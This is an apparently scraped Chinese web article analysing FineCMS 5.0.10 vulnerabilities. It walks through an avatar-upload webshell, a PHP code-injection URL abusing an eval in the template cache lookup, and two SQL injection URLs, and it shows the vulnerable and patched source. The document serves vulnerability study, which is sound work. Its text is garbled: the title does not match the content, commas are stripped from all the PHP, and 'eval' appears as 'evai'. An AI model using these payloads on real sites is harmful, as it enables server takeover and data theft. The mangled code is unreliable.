快捷搜索:  汽车  科技

常见的cms回收过程(技能篇FineCMS5.0.10多个漏洞详细分析)

常见的cms回收过程(技能篇FineCMS5.0.10多个漏洞详细分析)文件:2、漏洞分析用十六进制编辑器写一个包含一句话木马的图片,去网站注册一个账号,然后到上传头像的地方。抓包,修改文件后缀名为.php并发包。可以看到文件已经上传到/uploadfile/member/用户ID/0x0.php

今天是一篇关于技能提升的文章,文章中的CMS是FineCMS,版本是5.0.10版本的几个漏洞分析,主要内容是介绍漏洞修补前和修补后的分析过程,帮助大家快速掌握该技能。

注:篇幅较长,阅读用时约7分钟。

任意文件上传漏洞

1、漏洞复现

用十六进制编辑器写一个包含一句话木马的图片,去网站注册一个账号,然后到上传头像的地方。

抓包,修改文件后缀名为.php并发包。

常见的cms回收过程(技能篇FineCMS5.0.10多个漏洞详细分析)(1)

可以看到文件已经上传到/uploadfile/member/用户ID/0x0.php

常见的cms回收过程(技能篇FineCMS5.0.10多个漏洞详细分析)(2)

2、漏洞分析

文件:

finecms/dayrui/controllers/member/Account.php 177~244行

/** * 上传头像处理 * 传入头像压缩包,解压到指定文件夹后删除非图片文件 */ public function upload() { // 创建图片存储文件夹 $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/'; @dr_dir_delete($dir); !is_dir($dir) && dr_mkdirs($dir); if ($_POST['tx']) { $file = str_replace(' ' ' ' $_POST['tx']); if (preg_match('/^(data:\s*image\/(\w );base64 )/' $file $result)){ $new_file = $dir.'0x0.'.$result[2]; if (!@file_put_contents($new_file base64_decode(str_replace($result[1] '' $file)))) { exit(dr_json(0 '目录权限不足或磁盘已满')); } else { $this->load->library('image_lib'); $config['create_thumb'] = TRUE; $config['thumb_marker'] = ''; $config['maintain_ratio'] = FALSE; $config['source_image'] = $new_file; foreach (array(30 45 90 180) as $a) { $config['width'] = $config['height'] = $a; $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2]; $this->image_lib->initialize($config); if (!$this->image_lib->resize()) { exit(dr_json(0 '上传错误:'.$this->image_lib->display_errors())); break; } } list($width $height $type $attr) = getimagesize($dir.'45x45.'.$result[2]); !$type && exit(dr_json(0 '图片字符串不规范')); } } else { exit(dr_json(0 '图片字符串不规范')); } } else { exit(dr_json(0 '图片不存在')); } // 上传图片到服务器 if (defined('UCSSO_API')) { $rt = ucsso_avatar($this->uid file_get_contents($dir.'90x90.jpg')); !$rt['code'] && $this->_json(0 fc_lang('通信失败:%s' $rt['msg'])); } exit('1'); }

在版本5.0.8中也曾存在问题,官方采用了白名单的思想进行修复,代码如下:

if (!in_array(strtolower($result[2]) array('jpg' 'jpeg' 'png' 'gif'))) { exit(dr_json(0 '目录权限不足')); } ... $c = 0; if ($fp = @opendir($dir)) { while (FALSE !== ($file = readdir($fp))) { $ext = substr(strrchr($file '.') 1); if (in_array(strtolower($ext) array('jpg' 'jpeg' 'png' 'gif'))) { if (copy($dir.$file $my.$file)) { $c ; } } } closedir($fp); } if (!$c) { exit(dr_json(0 fc_lang('未找到目录中的图片'))); }

任意代码执行漏洞

1、漏洞复现

auth下面的分析过程中会讲解到如何获取。

浏览器输入:

http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=cache name=MEMBER.1'];phpinfo( );$a=['1

常见的cms回收过程(技能篇FineCMS5.0.10多个漏洞详细分析)(3)

2、漏洞分析

这个漏洞的文件在:

/finecms/dayrui/controllers/Api.php的data2( )

public function data2() { $data = array(); // 安全码认证 $auth = $this->input->get('auth' true); if ($auth != md5(SYS_KEY)) { // 授权认证码不正确 $data = array('msg' => '授权认证码不正确' 'code' => 0); } else { // 解析数据 $cache = ''; $param = $this->input->get('param'); if (isset($param['cache']) && $param['cache']) { $cache = md5(dr_array2string($param)); $data = $this->get_cache_data($cache); } if (!$data) { // list数据查询 $data = $this->template->list_tag($param); $data['code'] = $data['error'] ? 0 : 1; unset($data['SQL'] $data['pages']); // 缓存数据 $cache && $this->set_cache_data($cache $data $param['cache']); } } // 接收参数 $format = $this->input->get('format'); $function = $this->input->get('function'); if ($function) { if (!function_exists($function)) { $data = array('msg' => fc_lang('自定义函数'.$function.'不存在') 'code' => 0); } else { $data = $function($data); } } // 页面输出 if ($format == 'php') { print_r($data); } elseif ($format == 'jsonp') { // 自定义返回名称 echo $this->input->get('callback' TRUE).'('.$this->callback_json($data).')'; } else { // 自定义返回名称 echo $this->callback_json($data); } exit; }

可以看到开头这里验证了认证码:

// 安全码认证 $auth = $this->input->get('auth' true); if ($auth != md5(SYS_KEY)) { // 授权认证码不正确 $data = array('msg' => '授权认证码不正确' 'code' => 0); } else {

授权码在/config/system.php

常见的cms回收过程(技能篇FineCMS5.0.10多个漏洞详细分析)(4)

可以看到SYS_KEY是固定的,我们可以在Cookies找到:

/finecms/dayrui/config/config.php

常见的cms回收过程(技能篇FineCMS5.0.10多个漏洞详细分析)(5)

用浏览器查看Cookies可以看到KEY,但是验证用MD5,所以我们需要对KEY进行处理。

常见的cms回收过程(技能篇FineCMS5.0.10多个漏洞详细分析)(6)

直接看到这一段,调用了Template对象里面的list_tag函数:

if (!$data) { // list数据查询 $data = $this->template->list_tag($param); $data['code'] = $data['error'] ? 0 : 1; unset($data['sql'] $data['pages']); // 缓存数据 $cache && $this->set_cache_data($cache $data $param['cache']); }

我们到finecms/dayrui/libraries/Template.php看list_tag函数的代码,这里把

param=action=cache name=MEMBER.1'];phpinfo( );$a=['1的内容分为两个数组$var、$val,这两个数组的内容分别为:

$var=['action' 'name'] $val=['cache ' 'MEMBER.1'];phpinfo();$a=['1']

$cache=_cache_var是返回会员的信息。

重点的是下面的@evai('$data=$cache'.$this->_get_var($_param).';');

foreach ($params as $t) { $var = substr($t 0 strpos($t '=')); $val = substr($t strpos($t '=') 1);

再看这一段 因为swtich选中的是cache,所以就不再进行下面的分析了。

$pos = strpos($param['name'] '.');这句是为下面的substr函数做准备,为了分离出的内容为:

$_name='MEMBER' $_param="1'];phpinfo();$a=['1" // action switch ($system['action']) { case 'cache': // 系统缓存数据 if (!isset($param['name'])) { return $this->_return($system['return'] 'name参数不存在'); } $pos = strpos($param['name'] '.'); if ($pos !== FALSE) { $_name = substr($param['name'] 0 $pos); $_param = substr($param['name'] $pos 1); } else { $_name = $param['name']; $_param = NULL; } $cache = $this->_cache_var($_name !$system['site'] ? SITE_ID : $system['site']); if (!$cache) { return $this->_return($system['return'] "缓存({$_name})不存在,请在后台更新缓存"); } if ($_param) { $data = array(); @evai('$data=$cache'.$this->_get_var($_param).';'); if (!$data) { return $this->_return($system['return'] "缓存({$_name})参数不存在!!"); } } else { $data = $cache; } return $this->_return($system['return'] $data ''); break;

跟踪get_var函数,在这里我们先把$param的内容假设为a 然后执行函数里面的内容,最后返回的$string的内容是:$string=['a']

那么我们的思路就是把两边的[' ']闭合然后再放上恶意的代码。

payload为:1'];phpinfo();$a=['1,那么返回的$string的内容:

$string=['1'];phpinfo();$a=['1']

public function _get_var($param) { $array = explode('.' $param); if (!$array) { return ''; } $string = ''; foreach ($array as $var) { $string.= '['; if (strpos($var '$') === 0) { $string.= preg_replace('/\[(. )\]/U' '[\'\\1\']' $var); } elseif (preg_match('/[A-Z_] /' $var)) { $string.= ''.$var.''; } else { $string.= '\''.$var.'\''; } $string.= ']'; } return $string; }

修复后的_get_var函数里面多了一个dr_safe_replace过滤函数,然后data2( )删除了。

public function _get_var($param) { $array = explode('.' $param); if (!$array) { return ''; } $string = ''; foreach ($array as $var) { $var = dr_safe_replace($var); $string.= '['; if (strpos($var '$') === 0) { $string.= preg_replace('/\[(. )\]/U' '[\'\\1\']' $var); } elseif (preg_match('/[A-Z_] /' $var)) { $string.= ''.$var.''; } else { $string.= '\''.$var.'\''; } $string.= ']'; } return $string; }

dr_safe_replace( )

function dr_safe_replace($string) { $string = str_replace(' ' '' $string); $string = str_replace(''' '' $string); $string = str_replace('%27' '' $string); $string = str_replace('*' '' $string); $string = str_replace('"' '"' $string); $string = str_replace("'" '' $string); $string = str_replace('"' '' $string); $string = str_replace(';' '' $string); $string = str_replace('<' '<' $string); $string = str_replace('>' '>' $string); $string = str_replace("{" '' $string); $string = str_replace('}' '' $string); return $string; }

任意SQL语句执行1

1、漏洞复现

浏览器:

http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=sql sql='select version( );'

常见的cms回收过程(技能篇FineCMS5.0.10多个漏洞详细分析)(7)

2、漏洞分析

这里就不用debug模式去跟进了,如果有小伙伴对CI框架的数据库操作不熟悉的可以查阅官方文档:

http://codeigniter.org.cn/user_guide/database/index.html

问题一样出在:

finecms/dayrui/controllers/Api.php中的data2( )

可以直接去看:

finecms/dayrui/libraries/Template.php里面的list_tag( )函数。

这里想说一下就是preg_match这个函数的作用,匹配过后sql是一个数组:

array(2) { [0]=> string(23) "sql='select version();'" [1]=> string(17) "select version();" }

常见的cms回收过程(技能篇FineCMS5.0.10多个漏洞详细分析)(8)

这里判断了开头的位置是否只使用了select:

if (stripos($sql 'SELECT') !== 0) { return $this->_return($system['return'] 'SQL语句只能是SELECT查询语句');

再往下看,这一句才是执行SQL的地方,传入sql内容和$system['site']默认是1 $system['cache'] 默认缓存时间是3600。

$data = $this->_query($sql $system['site'] $system['cache']);

继续跟进_query( )函数

public function _query($sql $site $cache $all = TRUE) { echo $this->ci->site[$site]; // 数据库对象 $db = $site ? $this->ci->site[$site] : $this->ci->db; $cname = md5($sql.dr_now_url()); // 缓存存在时读取缓存文件 if ($cache && $data = $this->ci->get_cache_data($cname)) { return $data; } // 执行SQL $db->db_debug = FALSE; $query = $db->query($sql); if (!$query) { return 'SQL查询解析不正确:'.$sql; } // 查询结果 $data = $all ? $query->result_array() : $query->row_array(); // 开启缓存时,重新存储缓存数据 $cache && $this->ci->set_cache_data($cname $data $cache); $db->db_debug = TRUE; return $data; }

没有对函数进行任何过滤$query = $db->query($sql);,直接带入了我们的语句。

官方的修复方法:删除了data2( )函数。

任意SQL语句执行2

1、漏洞复现

浏览器:

http://getpass1.cn/index.php?s=member&c=api&m=checktitle&id=1&title=1&module=news (select (updatexml(1 concat(1 (select user( )) 0x7e) 1)))a

常见的cms回收过程(技能篇FineCMS5.0.10多个漏洞详细分析)(9)

2、漏洞分析

文件在:

finecms/dayrui/controllers/member/Api.php的checktitle( )函数:

public function checktitle() { $id = (int)$this->input->get('id'); $title = $this->input->get('title' TRUE); $module = $this->input->get('module'); (!$title || !$module) && exit(''); $num = $this->db->where('id<>' $id)->where('title' $title)->count_all_results(SITE_ID.'_'.$module); echo $num; $num ? exit(fc_lang('<font color=red>'.fc_lang('重复').'</font>')) : exit(''); }

其他的没什么过滤,主要是CI框架里面的一些内置方法,比如count_all_results,可以到:

http://codeigniter.org.cn/user_guide/database/query_builder.html?highlight=count_all_results#CI_DB_query_builder::count_all_results 查看用法

还有一个就是SITE_ID变量,它是指:

常见的cms回收过程(技能篇FineCMS5.0.10多个漏洞详细分析)(10)

站点是系统的核心部分,各个站点数据独立,可以设置站点分库管理。

常见的cms回收过程(技能篇FineCMS5.0.10多个漏洞详细分析)(11)

其他

还有一个远程命令执行漏洞没能复现,是在api的html( )函数,说是可以用&来突破,但是evai只能用;来结束语句的结束。

function dr_safe_replace($string) { $string = str_replace(' ' '' $string); $string = str_replace(''' '' $string); $string = str_replace('%27' '' $string); $string = str_replace('*' '' $string); $string = str_replace('"' '"' $string); $string = str_replace("'" '' $string); $string = str_replace('"' '' $string); $string = str_replace(';' '' $string); $string = str_replace('<' '<' $string); $string = str_replace('>' '>' $string); $string = str_replace("{" '' $string); $string = str_replace('}' '' $string); return $string; }

以上是今天的全部内容,大家看懂了吗?

猜您喜欢: